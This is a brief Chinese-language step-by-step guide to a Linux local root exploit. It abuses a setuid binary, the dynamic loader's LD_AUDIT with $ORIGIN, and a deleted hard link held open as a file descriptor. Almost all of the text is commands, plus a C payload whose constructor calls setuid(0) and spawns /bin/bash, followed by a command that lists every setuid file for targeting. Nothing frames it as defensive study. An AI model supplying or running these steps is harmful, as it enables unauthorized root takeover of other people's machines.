查看tmp目录权限ll -d /tmp
切换到tmp目录cd /tmp
创建一个exploit目录mkdir exploit
查看ping命令带suid权限ll /bin/ping
创建target文件硬链接ln /bin/ping /tmp/exploit/target
查看target文件权限ll /tmp/exploit/target
把target文件加载到内存中exec 3< /tmp/exploit/target
查看target在内存中的情况"ll /proc/$$/fd/3"
删除target文件rm -rf /tmp/exploit/
查看target在内存中的情况是删除状态"ll /proc/$$/fd/3"
创建一个c语言代码vim payload.c
void __attribute__((constructor)) init() // 两个下划线 { setuid(0); system("/bin/bash"); }
利用gcc编译这段代码gcc -W -fPIC -shared -o /tmp/exploit payload.c
提升到root权限LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
执行完,查看当前会话已经是rootwhoami
附:通过以下的命令可以找到系统上所有的设置了suid的文件:find / -perm -04000 -type f -ls